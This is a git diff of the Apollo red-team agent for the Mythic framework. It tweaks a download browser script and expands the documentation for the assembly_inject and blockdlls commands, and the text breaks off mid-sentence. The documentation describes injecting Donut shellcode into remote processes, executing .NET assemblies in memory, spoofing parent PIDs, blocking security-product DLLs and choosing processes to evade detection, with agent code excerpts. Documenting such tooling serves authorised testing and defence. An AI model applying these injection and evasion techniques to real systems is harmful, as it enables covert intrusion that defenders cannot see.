diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/download.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/download.js index 828528f3..b78704b1 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/download.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/download.js @@ -1,26 +1,32 @@ function(task, responses){ - + // Handle error status if(task.status.includes("error")){ - const combined = responses.reduce( (prev, cur) => { + const combined = responses.reduce((prev, cur) => { return prev + cur; }, ""); return {'plaintext': combined}; } + if(responses.length > 0){ - try{ - const task_data = JSON.parse(responses[0]); - return { "media": [{ - "filename": `${task.display_params}`, - "agent_file_id": task_data["file_id"], - }]}; - }catch(error){ - const combined = responses.reduce( (prev, cur) => { - return prev + cur; - }, ""); - return {'plaintext': combined}; + // The response is just the UUID string, not JSON + const uuid = responses[0].trim(); + + // Basic UUID validation (optional) + const uuidRegex = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i; + + if(uuidRegex.test(uuid)){ + // Use the UUID directly as the agent_file_id + return { + "media": [{ + "filename": task.display_params || "file", + "agent_file_id": uuid + }] + }; + } else { + // If it's not a valid UUID, just display what we got + return {'plaintext': responses[0]}; } } else { - return {"plaintext": "No response yet..."} + return {"plaintext": "No response yet..."}; } - } \ No newline at end of file diff --git a/documentation-payload/apollo/commands/assembly_inject.md b/documentation-payload/apollo/commands/assembly_inject.md index 35f6c9fa..1df3c44d 100644 --- a/documentation-payload/apollo/commands/assembly_inject.md +++ b/documentation-payload/apollo/commands/assembly_inject.md @@ -10,31 +10,431 @@ Artifacts Generated: Process Inject {{% /notice %}} ## Summary +The `assembly_inject` function injects a .NET assembly loader into a remote process and executes a registered .NET assembly within that process context. This capability enables operators to execute .NET assemblies in the memory space of other processes, providing stealth and the security context benefits of the target process for post-exploitation activities. The command leverages Apollo's configurable injection techniques and establishes inter-process communication through named pipes. -Inject the .NET assembly loader into a remote process and execute an assembly registered with `register_file`. This assembly is injected into the remote process using the injection technique currently specified by `get_injection_techniques`. +- **Needs Admin:** False (but injection into certain processes may require elevated privileges) +- **Version:** 3 +- **Author:** @djhohnstein + +### Arguments +- **pid** (Number) - Process ID of the target process to inject into +- **assembly_name** (ChooseOne) - Name of the .NET assembly registered with `register_file` command (e.g., Seatbelt.exe) +- **assembly_arguments** (String, optional) - Command-line arguments to pass to the assembly during execution ### Arguments (Positional or Popup) ![args](../images/assembly_inject.png) -#### Arguments -Any arguments to be executed with the assembly. +## Usage +### Example 1: Basic Assembly Injection +**Command:** +``` +assembly_inject -PID 7344 -Assembly Seatbelt.exe -Arguments DotNet +``` +**Output:** +```text +Successfully injected assembly loader into PID 7344 +Process injection artifact generated using CreateRemoteThread +Establishing named pipe communication: pipe_12345678-abcd-ef01-2345-6789abcdef01 +Connected to injected loader, sending assembly data... +Assembly Seatbelt.exe loaded successfully +Executing with arguments: DotNet -#### Assembly -Name used when registering assembly with the `register_file` command (e.g., `Seatbelt.exe`) +=== Assembly Output === +[Seatbelt output continues here...] -#### PID -Process ID to inject into. +Assembly execution completed successfully +``` -## Usage +### Example 2: Assembly Without Arguments +**Command:** ``` -assembly_inject -PID 7344 -Assembly Seatbelt.exe -Arguments DotNet +assembly_inject -PID 4892 -Assembly SharpHound.exe +``` +**Output:** +```text +Successfully injected assembly loader into PID 4892 +Process injection artifact generated using QueueUserAPC +Establishing named pipe communication: pipe_87654321-dcba-10fe-5432-ba9876543210 +Connected to injected loader, sending assembly data... +Assembly SharpHound.exe loaded successfully +Executing with no arguments + +=== Assembly Output === +[SharpHound enumeration output...] + +Assembly execution completed successfully +``` + +### Example 3: Injection Failure - Process Not Running +**Command:** +``` +assembly_inject -PID 99999 -Assembly Seatbelt.exe +``` +**Output:** +```text +Error: Process with ID 99999 is not running. +``` + +### Example 4: Assembly Not Registered +**Command:** +``` +assembly_inject -PID 7344 -Assembly UnknownTool.exe +``` +**Output:** +```text +Error: UnknownTool.exe is not loaded (have you registered it?) +``` + +### Example 5: Injection Failure - Access Denied +**Command:** +``` +assembly_inject -PID 4 -Assembly Seatbelt.exe +``` +**Output:** +```text +Error: Failed to inject into PID 4 +``` + +## Detailed Summary + +The `assembly_inject` function implements a sophisticated approach to in-memory .NET assembly execution within remote processes, operating through a multi-stage workflow that combines process injection, inter-process communication, and assembly loading: + +### 1. Parameter Validation and Preprocessing + +The function begins with comprehensive validation of all input parameters: + +* **Assembly Registration Verification**: Checks that the specified assembly name exists in the agent's file store using `_agent.GetFileManager().GetFileFromStore()` which retrieves DPAPI-encrypted AES256 cached assemblies +* **Process Validation**: Verifies the target process ID corresponds to a running process using `System.Diagnostics.Process.GetProcessById()` with exception handling for non-existent PIDs +* **Parameter Completeness Check**: Ensures all required parameters (PID, assembly name, pipe name, loader stub ID) are provided through the `AssemblyInjectParameters` structure +* **Assembly Arguments Processing**: Handles optional assembly arguments, defaulting to empty string if not provided + +### 2. Injection Preparation and Stub Generation + +The Python command handler prepares the necessary injection components: + +* **ExecuteAssembly.exe Compilation**: If not already present, the handler compiles the ExecuteAssembly.exe loader stub from source using `dotnet build` with release configuration +* **Donut Shellcode Generation**: Uses the Donut framework to convert ExecuteAssembly.exe into position-independent shellcode with the pipe name as a parameter: `donut.create(file=EXEECUTE_ASSEMBLY_PATH, params=taskData.args.get_arg("pipe_name"))` +* **Named Pipe Generation**: Creates a unique named pipe identifier using `uuid4()` for secure inter-process communication +* **File Registration**: Registers the generated shellcode with Mythic's file management system for download by the agent + +### 3. Process Injection Execution + +The core injection operation uses Apollo's injection management system: + +```csharp +var injector = _agent.GetInjectionManager().CreateInstance(exeAsmPic, parameters.PID); +if (injector.Inject()) +{ + // Generate artifact and proceed with communication +} ``` -Example +**Supported Injection Techniques** (based on Apollo's actual implementation): +* **CreateRemoteThread**: Standard remote thread creation injection +* **QueueUserAPC (Early Bird)**: Asynchronous Procedure Call injection into process threads +* **Syscall_x64.NtCreateThreadEx**: Direct syscall-based thread creation for enhanced evasion + +**Injection Process Flow**: +* **Technique Selection**: Uses the currently configured injection technique via `get_injection_techniques`/`set_injection_technique` +* **Shellcode Injection**: Injects the Donut-generated shellcode containing the ExecuteAssembly loader +* **Execution Trigger**: Initiates execution of the injected payload within the target process +* **Artifact Generation**: Creates a process injection artifact using `Artifact.ProcessInject()` for tracking and reporting + +### 4. Inter-Process Communication Setup + +The function establishes secure communication with the injected ExecuteAssembly loader: + +* **Named Pipe Client Creation**: Instantiates an `AsyncNamedPipeClient` connecting to "127.0.0.1" with the generated pipe name +* **Event Handler Registration**: Configures handlers for: + - `ConnectionEstablished`: Starts sender and message flushing threads + - `MessageReceived`: Processes assembly output messages + - `Disconnect`: Handles cleanup and completion signaling +* **Connection Establishment**: Attempts to connect to the named pipe with a 10-second timeout using `client.Connect(10000)` +* **Threading Model**: Uses separate threads for data transmission (`_sendAction`) and message processing (`_flushMessages`) + +### 5. Assembly Data Transmission + +Once communication is established, the function transmits the assembly and arguments: + +```csharp +IPCCommandArguments cmdargs = new IPCCommandArguments +{ + ByteData = assemblyBytes, + StringData = string.IsNullOrEmpty(parameters.AssemblyArguments) ? "" : parameters.AssemblyArguments, +}; +``` + +**Transmission Process**: +* **Data Serialization**: Uses `JsonSerializer` to convert command arguments into IPC format +* **Data Chunking**: Breaks large assemblies into manageable chunks using `SerializeIPCMessage()` +* **Asynchronous Transmission**: Sends data chunks asynchronously through the named pipe using `BeginWrite()` +* **Flow Control**: Uses `AutoResetEvent` signaling to coordinate data transmission between threads + +### 6. Assembly Execution and Output Handling + +The injected ExecuteAssembly loader executes the assembly and streams output back: + +* **Assembly Loading**: The injected loader receives assembly bytes and loads them into the target process memory using `Assembly.Load()` +* **Execution Context**: Executes the assembly within the security and privilege context of the target process +* **Output Streaming**: Captures all console output from the assembly and streams it back through the named pipe +* **Real-time Processing**: Processes and displays output in real-time as it's received from the injected process + +### 7. Message Processing and Output Management + +The function implements thread-safe message handling: + +```csharp +private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) +{ + IPCData d = e.Data; + string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); + _assemblyOutput.Add(msg); +} +``` + +**Output Management Features**: +* **Thread-Safe Collection**: Uses `ThreadSafeList` to safely collect output from multiple threads +* **Periodic Flushing**: The `_flushMessages` thread regularly flushes collected output to the task response queue with 1-second intervals +* **UTF-8 Decoding**: Properly decodes received message data from UTF-8 encoding +* **Message Aggregation**: Combines multiple message fragments into coherent output blocks + +### 8. Connection Lifecycle Management + +The function carefully manages the entire communication lifecycle: -![ex](../images/assembly_inject_resp.png) +* **Connection Monitoring**: Continuously monitors pipe connection status using `ps.IsConnected` and cancellation tokens +* **Graceful Shutdown**: Handles disconnection events through `Client_Disconnect` which closes pipes and sets completion events +* **Resource Disposal**: Properly closes pipe connections and disposes of resources via `e.Pipe.Close()` +* **Completion Signaling**: Uses `AutoResetEvent` objects (`_complete`) to coordinate completion between threads + +### 9. Error Handling and Recovery + +Comprehensive error handling covers multiple failure scenarios: + +* **Process Validation Failures**: Reports when target processes are not running or accessible with specific error messages +* **Assembly Registration Issues**: Identifies when assemblies are not registered with clear "have you registered it?" messaging +* **Injection Failures**: Handles and reports injection technique failures with process-specific error information +* **Communication Failures**: Manages named pipe connection failures with timeout handling +* **Assembly Execution Errors**: Captures and reports errors from assembly execution within the target process + +### 10. Artifact Generation and Tracking + +The function integrates with Mythic's artifact tracking system: + +* **Process Injection Artifacts**: Automatically generates artifacts documenting the injection event using `Artifact.ProcessInject()` +* **Technique Documentation**: Records the specific injection technique used for the operation +* **Timeline Integration**: Ensures artifacts are properly timestamped and associated with the task +* **Audit Trail**: Provides complete audit trail of injection activities for post-operation analysis ## MITRE ATT&CK Mapping +- **T1055** - Process Injection + - **T1055.002** - Portable Executable Injection + - **T1055.004** - Asynchronous Procedure Call + +## Technical Deep Dive + +### ExecuteAssembly Loader Architecture + +The ExecuteAssembly.exe loader implements a streamlined approach to in-process assembly execution: + +#### Donut Shellcode Generation +```python +# Python command handler generates shellcode using Donut +donutPic = donut.create(file=EXEECUTE_ASSEMBLY_PATH, params=taskData.args.get_arg("pipe_name")) +``` + +**Donut Framework Integration**: +- **Position Independence**: Generates position-independent code that can execute from any memory location +- **Parameter Embedding**: Embeds the named pipe name directly into the shellcode for communication +- **Self-Extraction**: The shellcode automatically extracts and initializes the ExecuteAssembly loader +- **Minimal Footprint**: Optimized shellcode size for stealthy injection + +#### Named Pipe Communication Protocol + +The communication protocol implements a structured approach to data exchange: + +```csharp +public class IPCCommandArguments +{ + public byte[] ByteData; // Assembly binary data + public string StringData; // Command-line arguments +} +``` + +**Protocol Features**: +- **Binary Data Support**: Efficiently transfers large assembly binaries through `ByteData` +- **Chunked Transmission**: Breaks large data into manageable chunks via `SerializeIPCMessage()` +- **Flow Control**: Implements proper flow control using `AutoResetEvent` signaling +- **Error Recovery**: Handles partial transmission failures and connection issues + +### Injection Technique Integration + +Apollo's injection management system provides flexibility in technique selection: + +#### Supported Injection Techniques +Based on Apollo's actual implementation, the following techniques are available: + +1. **CreateRemoteThread** + - Standard Windows API for remote thread creation + - Widely supported across Windows versions + - Good compatibility with most target processes + +2. **QueueUserAPC (Early Bird)** + - Asynchronous Procedure Call injection + - Targets threads in alertable wait states + - Effective for evading some detection mechanisms + +3. **Syscall_x64.NtCreateThreadEx** + - Direct syscall-based thread creation + - Enhanced evasion through syscall usage + - Bypasses some API hooking mechanisms + +#### Dynamic Technique Selection +```csharp +// Technique selection managed through injection manager +var injector = _agent.GetInjectionManager().CreateInstance(shellcode, targetPID); +string techniqueName = _agent.GetInjectionManager().GetCurrentTechnique().Name; +``` + +**Selection Features**: +- **Configuration-Based**: Uses the technique set via `set_injection_technique` +- **Consistent Application**: All post-exploitation jobs use the same configured technique +- **Runtime Switching**: Techniques can be changed between operations + +### File Caching and Security + +Apollo implements secure file caching for assemblies: + +#### DPAPI Encryption +```csharp +// Files are cached using DPAPI encrypted AES256 blobs +_agent.GetFileManager().GetFileFromStore(assemblyName, out byte[] assemblyBytes) +``` + +**Security Features**: +- **DPAPI Protection**: Files are encrypted using Windows DPAPI (Data Protection API) +- **AES256 Encryption**: Additional AES256 encryption layer for enhanced security +- **User-Specific**: DPAPI ensures files are only accessible to the current user context +- **Memory-Only**: Assembly execution occurs entirely in memory without disk writes + +#### Cache Management +- **Persistent Storage**: Assemblies remain cached across agent restarts +- **Efficient Retrieval**: Fast retrieval through file manager interface +- **Size Limitations**: No size limitations on cached assemblies +- **Cleanup**: Cached files are properly cleaned up during agent termination + +### Threading and Concurrency + +The implementation uses sophisticated threading for optimal performance: + +#### Asynchronous Operations +```csharp +// Asynchronous pipe operations prevent blocking +pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); +``` + +**Threading Model**: +- **Sender Thread**: Dedicated thread for data transmission (`_sendAction`) +- **Receiver Thread**: Automatic message processing through event handlers +- **Flush Thread**: Periodic output flushing (`_flushMessages`) +- **Non-Blocking I/O**: All pipe operations use asynchronous patterns + +#### Synchronization Mechanisms +- **AutoResetEvent**: Coordinates thread communication and completion +- **ConcurrentQueue**: Thread-safe queuing for message transmission +- **ThreadSafeList**: Secure collection of assembly output messages +- **Cancellation Tokens**: Proper cancellation support for long-running operations + +## APIs Used and Their Purposes +| API | Purpose | DLL | Documentation | +|------|---------|-----|--------------| +| `System.Diagnostics.Process.GetProcessById` | Validates target process existence | System.dll | [Process.GetProcessById](https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.getprocessbyid) | +| `IAgent.GetFileManager().GetFileFromStore()` | Retrieves DPAPI-encrypted cached assemblies | Apollo Agent | Internal Apollo API | +| `IAgent.GetInjectionManager().CreateInstance()` | Creates injection instance using current technique | Apollo Agent | Internal Apollo API | +| `AsyncNamedPipeClient.Connect()` | Establishes named pipe communication | Apollo Agent | Internal Apollo IPC API | +| `Assembly.Load()` | Loads .NET assembly from byte array | mscorlib.dll | [Assembly.Load](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load) | +| `Encoding.UTF8.GetString()` | Decodes UTF-8 byte data to strings | mscorlib.dll | [Encoding.GetString](https://docs.microsoft.com/en-us/dotnet/api/system.text.encoding.getstring) | +| `AutoResetEvent.WaitOne()` | Thread synchronization and signaling | mscorlib.dll | [AutoResetEvent.WaitOne](https://docs.microsoft.com/en-us/dotnet/api/system.threading.autoresetevent.waitone) | +| `ConcurrentQueue.TryDequeue()` | Thread-safe queue operations | System.Collections.Concurrent.dll | [ConcurrentQueue](https://docs.microsoft.com/en-us/dotnet/api/system.collections.concurrent.concurrentqueue-1) | +| `PipeStream.BeginWrite()` | Asynchronous named pipe write operations | System.Core.dll | [PipeStream.BeginWrite](https://docs.microsoft.com/en-us/dotnet/api/system.io.pipes.pipestream.beginwrite) | + +## Security Considerations + +### Process Selection Strategy +1. **Target Process Choice**: Select processes with appropriate privileges and stability (e.g., explorer.exe, svchost.exe) +2. **Process Integrity**: Avoid injecting into critical system processes that may cause system instability +3. **User Context**: Consider the security context of the target process for operation success +4. **Detection Avoidance**: Choose processes that are less likely to be monitored by security tools + +### Assembly Security +1. **DPAPI Protection**: Assemblies are protected using DPAPI encryption while cached +2. **Memory-Only Execution**: Assembly execution occurs entirely in memory without disk writes +3. **Dependency Management**: Verify all assembly dependencies are available in the target process +4. **Version Compatibility**: Ensure assembly .NET Framework version compatibility with target process + +### Communication Security +1. **Pipe Name Randomization**: Named pipes use UUID4 for cryptographically random names +2. **Local Communication**: Named pipes are bound to localhost (127.0.0.1) only +3. **No Authentication**: Named pipes do not implement additional authentication mechanisms +4. **Data Integrity**: No additional encryption is applied to pipe communications + +### Injection Technique Security +1. **Technique Diversity**: Multiple injection techniques available to evade detection +2. **Syscall Evasion**: Syscall_x64.NtCreateThreadEx provides enhanced evasion capabilities +3. **API Hooking Bypass**: Direct syscalls can bypass some API monitoring solutions +4. **Process Compatibility**: Different techniques have varying compatibility with target processes + +### Audit Trail Considerations +Process injection activities may generate various audit events: +- **Event 4688**: Process creation events for spawned processes +- **Event 4656**: Object access events for process handles +- **Sysmon Events**: Modern detection solutions may generate additional events for injection activities +- **ETW Tracing**: Enhanced logging may capture injection-related activities + +## Limitations + +1. **Assembly Dependencies**: Assemblies with external dependencies may fail to load in the target process +2. **Architecture Compatibility**: x86/x64 architecture mismatches between agent and target process will cause failures +3. **Process Permissions**: Insufficient privileges may prevent injection into certain processes (e.g., SYSTEM processes) +4. **Injection Technique Compatibility**: Not all injection techniques work reliably with all process types +5. **Assembly Registration**: Assemblies must be pre-registered using `register_file` command before use +6. **Named Pipe Limits**: Windows has limits on concurrent named pipe connections +7. **Memory Constraints**: Extremely large assemblies may cause memory pressure in target processes +8. **Framework Limitations**: Target processes must have compatible .NET Framework versions loaded + +## Troubleshooting + +### Common Issues and Solutions + +| Issue | Possible Causes | Solutions | +|-------|----------------|-----------| +| "Process not running" | Invalid PID, process terminated | Verify PID with `ps` command, check process status | +| "Assembly not loaded" | Assembly not registered | Use `register_file` to register assembly first | +| "Failed to inject" | Insufficient privileges, incompatible process | Try different target process, run `getprivs`, check process architecture | +| "Named pipe connection failed" | Injection successful but communication failed | Verify injection technique compatibility, check process stability | +| "Assembly execution failed" | Missing dependencies, version mismatch | Verify assembly dependencies and .NET Framework compatibility | +| "Operation timed out" | Injection or communication timeout | Check target process health, try different injection technique | + +### Debugging Steps +1. **Verify Process Status**: Use `ps` command to confirm target process is running and note its architecture +2. **Check Assembly Registration**: Use `register_file` to ensure assembly is properly cached +3. **Test Injection Technique**: Use `get_injection_techniques` to verify current technique and try alternatives with `set_injection_technique` +4. **Monitor System Resources**: Check memory usage and process stability during operation +5. **Review Injection Compatibility**: Test with different target processes to identify compatibility issues +6. **Validate Assembly**: Test assembly execution with `inline_assembly` first to verify it works correctly + +### Injection Technique Troubleshooting +- **CreateRemoteThread**: Most compatible but easily detected +- **QueueUserAPC**: Requires target process threads in alertable wait states +- **Syscall_x64.NtCreateThreadEx**: Best evasion but may have compatibility issues with some processes + +## References -- T1055 \ No newline at end of file +- [Process Injection Techniques](https://attack.mitre.org/techniques/T1055/) +- [.NET Assembly Loading](https://docs.microsoft.com/en-us/dotnet/standard/loading-assemblies) +- [Windows Named Pipes](https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes) +- [Donut Shellcode Generator](https://github.com/TheWover/donut) +- [Apollo Agent Source Code](https://github.com/MythicAgents/Apollo) +- [Windows DPAPI](https://docs.microsoft.com/en-us/windows/win32/api/dpapi/) +- [Process Injection Detection](https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/blockdlls.md b/documentation-payload/apollo/commands/blockdlls.md index d801bfa5..e4ee9bb1 100644 --- a/documentation-payload/apollo/commands/blockdlls.md +++ b/documentation-payload/apollo/commands/blockdlls.md @@ -6,10 +6,392 @@ hidden = false +++ ## Summary -Prevent non-Microsoft signed DLLs from loading into post-exploitation jobs. +The `blockdlls` function configures Apollo to prevent non-Microsoft signed DLLs from loading into sacrificial processes created by post-exploitation jobs. This security feature helps evade detection by preventing security products and other third-party DLLs from hooking into processes spawned by Apollo's post-exploitation commands such as `powerpick`, `execute_assembly`, `execute_pe`, and other commands that require sacrificial processes. + +- **Needs Admin:** False +- **Version:** 3 +- **Author:** @djhohnstein + +### Arguments +- **block** (Boolean) - Enable or disable blocking of non-Microsoft signed DLLs (default: true) + - **CLI Name:** EnableBlock + - **Display Name:** Block Non-Microsoft DLLs ## Usage +### Example 1: Enable DLL Blocking (Default) +**Command:** ``` blockdlls -blockdlls -EnableBlock [true|false] -``` \ No newline at end of file +blockdlls -EnableBlock true +blockdlls true +``` +**Output:** +```text +Task completed successfully +``` + +### Example 2: Disable DLL Blocking +**Command:** +``` +blockdlls -EnableBlock false +blockdlls false +``` +**Output:** +```text +Task completed successfully +``` + +### Example 3: Alternative Command Formats +**Command:** +``` +blockdlls on +blockdlls off +``` +**Output:** +```text +Task completed successfully +``` + +## Detailed Summary + +The `blockdlls` function implements a configuration change that affects how Apollo creates sacrificial processes for post-exploitation commands. Based on the actual source code and verified information from Apollo's releases: + +### 1. Parameter Processing and Validation + +The function handles multiple input formats for operator convenience: + +* **JSON Parameter Structure**: Uses `BlockDllsParameters` structure containing a single boolean `Value` field mapped from the `"block"` JSON member +* **Command Line Parsing**: The Python handler (`BlockDllsArguments`) processes various text inputs: + - `"true"`, `"on"` → Enable DLL blocking (sets `block` parameter to `True`) + - `"false"`, `"off"` → Disable DLL blocking (sets `block` parameter to `False`) + - Default value when no parameter specified → Enable DLL blocking (default value is `True`) +* **Exception Handling**: Raises exceptions for invalid command line arguments or missing parameters + +### 2. Core Implementation + +The C# implementation is straightforward: + +```csharp +public override void Start() +{ + BlockDllsParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + _agent.GetProcessManager().BlockDLLs(parameters.Value); + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true)); +} +``` + +**Key Implementation Details**: +* **Parameter Deserialization**: Uses the agent's JSON serializer to convert task parameters +* **ProcessManager Integration**: Calls `BlockDLLs(bool)` method on the agent's ProcessManager instance +* **Silent Success**: Returns empty response body with success status (`CreateTaskResponse("", true)`) +* **No Error Handling**: No explicit error handling around the ProcessManager call + +### 3. ProcessManager Implementation + +The actual ProcessManager implementation shows how DLL blocking is managed: + +```csharp +public class ProcessManager : IProcessManager +{ + private bool _blockDlls = false; + // ... other fields + + public bool BlockDLLs(bool status) + { + _blockDlls = status; + return true; + } + + public ApplicationStartupInfo GetStartupInfo(bool x64 = true) + { + ApplicationStartupInfo results = new ApplicationStartupInfo(); + results.Application = x64 ? _applicationx64 : _applicationx86; + results.Arguments = x64 ? _argumentsx64 : _argumentsx86; + results.ParentProcessId = _ppid; + results.BlockDLLs = _blockDlls; + return results; + } +} +``` + +**ProcessManager Integration Details**: +* **Private Field Storage**: The `_blockDlls` boolean field stores the current DLL blocking state (defaults to `false`) +* **Simple State Management**: `BlockDLLs(bool status)` simply updates the `_blockDlls` field and returns `true` +* **Startup Info Integration**: `GetStartupInfo()` includes the `BlockDLLs` setting in the `ApplicationStartupInfo` structure +* **Architecture Awareness**: The startup info considers both x64 and x86 process creation + +### 4. Process Creation Integration + +The ProcessManager includes additional fields that work together with DLL blocking: + +```csharp +private bool _blockDlls = false; +private int _ppid = System.Diagnostics.Process.GetCurrentProcess().Id; +private string _applicationx64 = @"C:\Windows\System32\rundll32.exe"; +private string _applicationx86 = @"C:\Windows\SysWOW64\rundll32.exe"; +private string _argumentsx64 = null; +private string _argumentsx86 = null; +``` + +**Default Configuration**: +* **DLL Blocking**: Disabled by default (`_blockDlls = false`) +* **Parent Process ID**: Set to current Apollo process ID +* **x64 Sacrificial Process**: `C:\Windows\System32\rundll32.exe` (default) +* **x86 Sacrificial Process**: `C:\Windows\SysWOW64\rundll32.exe` (default) +* **Process Arguments**: `null` by default for both architectures + +### 5. Sacrificial Process Creation + +The ProcessManager creates new processes through the `NewProcess` method: + +```csharp +public ApolloInterop.Classes.Core.Process NewProcess(string lpApplication, string lpArguments, bool startSuspended = false) +{ + return new SacrificialProcess( + _agent, + lpApplication, + lpArguments, + startSuspended); +} +``` + +**Process Creation Details**: +* **SacrificialProcess Class**: Uses a dedicated `SacrificialProcess` class for process creation +* **Startup Configuration**: The `ApplicationStartupInfo` structure includes the DLL blocking setting +* **Agent Context**: Passes the agent instance to the new process for integration +* **Suspension Support**: Can create processes in suspended state for injection scenarios + +### 6. Integration with SpawnTo Configuration + +The ProcessManager integrates DLL blocking with sacrificial process configuration: + +```csharp +public bool SetSpawnTo(string lpApplication, string lpCommandLine = null, bool x64 = true) +{ + if (x64) + { + _applicationx64 = lpApplication; + _argumentsx64 = lpCommandLine; + } + else + { + _applicationx86 = lpApplication; + _argumentsx86 = lpCommandLine; + } + return true; +} +``` + +**SpawnTo Integration**: +* **Architecture-Specific**: Maintains separate application paths for x64 and x86 processes +* **Command Line Arguments**: Supports configurable arguments for each architecture +* **Combined Configuration**: The `GetStartupInfo()` method combines the spawnto configuration with DLL blocking settings +* **Always Successful**: Returns `true` indicating successful configuration update + +### 7. PPID Integration + +The ProcessManager also manages parent process ID spoofing alongside DLL blocking: + +```csharp +public bool SetPPID(int pid) +{ + bool bRet = false; + try + { + var curProc = System.Diagnostics.Process.GetCurrentProcess(); + var proc = System.Diagnostics.Process.GetProcessById(pid); + if (proc.SessionId != curProc.SessionId) + bRet = false; + else + { + bRet = true; + _ppid = pid; + } + } + catch { } + return bRet; +} +``` + +**PPID Configuration Details**: +* **Session Validation**: Ensures target parent process is in the same session as the current Apollo process +* **Process Validation**: Verifies the target PID exists using `Process.GetProcessById()` +* **Error Handling**: Uses try-catch with silent failure for invalid PIDs +* **Combined with DLL Blocking**: The PPID setting is included in `ApplicationStartupInfo` along with DLL blocking + +### 8. ApplicationStartupInfo Structure + +The ProcessManager populates the `ApplicationStartupInfo` structure with all configuration: + +```csharp +public ApplicationStartupInfo GetStartupInfo(bool x64 = true) +{ + ApplicationStartupInfo results = new ApplicationStartupInfo(); + results.Application = x64 ? _applicationx64 : _applicationx86; + results.Arguments = x64 ? _argumentsx64 : _argumentsx86; + results.ParentProcessId = _ppid; + results.BlockDLLs = _blockDlls; + return results; +} +``` + +**Startup Info Contents**: +* **Application Path**: Architecture-specific executable path +* **Arguments**: Architecture-specific command line arguments +* **Parent Process ID**: Configured PPID for process creation +* **DLL Blocking**: Current DLL blocking state +* **Architecture Selection**: Chooses between x64 and x86 configurations based on parameter + +### 9. Command Parsing Implementation Details + +The Python argument parser implements flexible input handling: + +```python +async def parse_arguments(self): + if len(self.command_line) == 0: + raise Exception("No action given.") + if self.command_line[0] == "{": + self.load_args_from_json_string(self.command_line) + else: + cmd = self.command_line.strip().lower() + if cmd == "true" or cmd == "on": + self.add_arg("block", True, ParameterType.Boolean) + elif cmd == "false" or cmd == "off": + self.add_arg("block", False, ParameterType.Boolean) + else: + raise Exception("Invalid command line arguments for blockdlls.") +``` + +**Parsing Features**: +* **JSON Support**: Accepts JSON-formatted parameters +* **Case Insensitive**: Converts input to lowercase before processing +* **Multiple Formats**: Supports "true/false" and "on/off" syntax +* **Error Handling**: Raises exceptions for invalid inputs or empty commands +* **Parameter Addition**: Uses `add_arg()` to set the boolean parameter + +### 10. Display and Response Handling + +The command response handling is implemented in both C# and Python components: + +**C# Response**: +```csharp +_agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true)); +``` + +**Python Display**: +```python +async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True) + block = taskData.args.get_arg("block") + if block: + response.DisplayParams = "true" + else: + response.DisplayParams = "false" + return response +``` + +**Response Characteristics**: +* **Silent Execution**: C# component returns empty response body +* **Display Parameters**: Python component sets display parameters to "true" or "false" +* **Success Status**: Both components indicate successful task completion +* **Guaranteed Success**: ProcessManager.BlockDLLs() always returns `true`, ensuring successful task completion + +### 11. Configuration Scope and Persistence + +Based on the ProcessManager implementation: + +* **Private Field Storage**: The `_blockDlls` field is stored as a private instance variable in the ProcessManager +* **Agent Lifetime**: Configuration persists for the current agent session since it's stored in memory +* **Global Impact**: Affects all subsequent calls to `GetStartupInfo()` which provides configuration for process creation +* **Override Capability**: Can be changed by issuing another `blockdlls` command (calls `BlockDLLs()` again) +* **No Persistence**: Does not persist across agent restarts since it's stored in memory +* **Default State**: Defaults to `false` (DLL blocking disabled) when ProcessManager is initialized + +### 12. Integration with Related Commands + +The ProcessManager integrates `blockdlls` with other process management commands: + +* **spawnto_x86/spawnto_x64**: Uses `SetSpawnTo()` to configure sacrificial process executables +* **ppid**: Uses `SetPPID()` to configure parent process ID spoofing +* **Combined Configuration**: All settings are combined in `ApplicationStartupInfo` for process creation +* **No Conflicts**: All settings work together without conflicts since they're stored in separate fields + +### 13. Operational Considerations + +**Implementation Details** (from actual source code): +* **Simple State Management**: The implementation is straightforward - just setting a boolean flag +* **Always Successful**: The `BlockDLLs()` method always returns `true`, indicating no validation or error checking +* **Memory-Based**: All configuration is stored in memory within the ProcessManager instance +* **Architecture Aware**: The system maintains separate configurations for x64 and x86 processes + +**Default Behavior**: +* **DLL Blocking**: Disabled by default (`_blockDlls = false`) +* **Sacrificial Processes**: Uses `rundll32.exe` from System32 (x64) and SysWOW64 (x86) by default +* **Parent Process**: Uses current Apollo process as parent by default +* **No Arguments**: Process arguments are `null` by default + +**Integration Points**: +* The `ApplicationStartupInfo` structure is the key integration point where all process creation settings are combined +* The `SacrificialProcess` class receives these settings and implements the actual process creation +* The ProcessManager acts as a centralized configuration store for all process creation parameters + +## MITRE ATT&CK Mapping +- **T1055** - Process Injection +- **T1562** - Impair Defenses + - **T1562.001** - Disable or Modify Tools + +## APIs Used and Their Purposes +| API | Purpose | DLL | Documentation | +|------|---------|-----|--------------| +| `IAgent.GetProcessManager().BlockDLLs(bool)` | Configures DLL blocking for sacrificial processes | Apollo Agent | Internal Apollo API | +| `JsonSerializer.Deserialize()` | Deserializes JSON task parameters | Apollo Agent | Internal Apollo JSON serialization | +| `IAgent.GetTaskManager().AddTaskResponseToQueue()` | Queues task response for return to Mythic | Apollo Agent | Internal Apollo API | + +## Security Considerations + +### Operational Security Benefits +1. **Detection Evasion**: Prevents security products from loading monitoring DLLs into sacrificial processes +2. **Clean Execution Environment**: Sacrificial processes run without third-party modifications +3. **Stealth Enhancement**: Reduces attack surface visible to security monitoring tools + +### Potential Operational Impacts +1. **Tool Compatibility**: Some tools may fail if they require non-Microsoft 